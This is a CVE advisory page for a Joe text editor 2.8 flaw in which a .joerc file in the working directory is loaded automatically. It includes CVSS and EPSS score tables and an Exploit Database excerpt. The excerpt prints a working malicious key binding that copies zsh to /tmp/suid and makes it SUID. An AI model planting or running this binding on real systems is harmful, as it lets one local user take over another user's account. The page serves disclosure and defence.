CVE-2001-0289

EPSS

0.25%V4

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Local

Published

2001-05-07
02h00 +00:00

Modified

2005-11-02
09h00 +00:00

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CVE Descriptions

Joe text editor 2.8 searches the current working directory (CWD) for the .joerc configuration file, which could allow local users to gain privileges of other users by placing a Trojan Horse .joerc file into a directory, then waiting for users to execute joe from that directory.

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Metrics	Score	Severity	CVSS Vector	Source
V2	4.6		AV:L/AC:L/Au:N/C:P/I:P/A:P	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.76%	–	–
2022-03-27	–	–	1.76%	–	–
2022-04-03	–	–	1.76%	–	–
2022-04-17	–	–	1.76%	–	–
2022-08-28	–	–	1.76%	–	–
2023-03-05	–	–	1.76%	–	–
2023-03-12	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	0.25%
2025-03-30	–	–	–	–	0.25%
2025-04-15	–	–	–	–	0.25%
2025-04-15	–	–	–	–	0.25,%

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

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Date	Percentile
2022-02-06	54%
2022-03-27	55%
2022-04-03	74%
2022-04-17	75%
2022-08-28	76%
2023-03-05	77%
2023-03-12	–
2024-06-02	–
2025-01-19	–
2025-03-18	46%
2025-03-30	45%
2025-04-15	48%
2025-04-15	48%

Exploit information

Exploit Database EDB-ID : 20658

Publication date : 2001-02-27 23h00 +00:00
Author : Wkit Security
EDB Verified : Yes

source: https://www.securityfocus.com/bid/2437/info Joe is a text editor originally written by Joseph Allen. Joe offers a user-friendly interface, with key binding and configuration familiar to many users of Microsoft Word Processing tools. A problem in the sourcing of the .joerc file could lead to arbitrary execution of commands. By design, joe searches for it's configuration (.joerc) file in three different places. These places are the Current Working Directory (CWD), $HOME/.joerc, and /usr/local/lib/joerc. By creating a custom crafted .joerc file in a world writable directory, a person editing a file in the world writable directory would execute arbitrary commands when starting joe. Therefore, it is possible for a user with malicious motives to create custom crafted joerc files in world writable directories, and execute arbitrary commands as other users. This could be done through social engineering, and potentially lead to elevated privileges. Copying the /usr/local/lib/joerc file to a world writable directory, the following line can be added to create a malicious key binding: :def spellfile filt,"cat >ispell.tmp;ispell ispell.tmp </dev/tty>/dev/tty;cat ispell.tmp;/bin/rm ispell.tmp;cp /bin/zsh /tmp/suid; chmod 4755 /tmp/suid",rtn,retype This will bind the creation of a SUID shell in the /tmp directory to the keys ^[l. This exploit will allow the attacker to assume the identity of the user of joe.